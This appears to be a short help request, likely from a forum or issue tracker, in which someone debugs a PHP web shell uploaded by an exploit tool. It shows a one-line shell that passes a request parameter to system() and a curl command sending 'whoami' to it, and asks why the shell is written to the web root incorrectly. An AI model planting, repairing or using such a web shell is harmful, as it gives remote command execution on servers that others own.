[*] Fake shell:   curl 'https://192.168.1.4/c.php' -d 'c=whoami'
<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }>>


the shell apears in / and whgen accessing it via http it ouputs
&1' ); }

the problem is that it only wittes
<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }

could you please look into that?
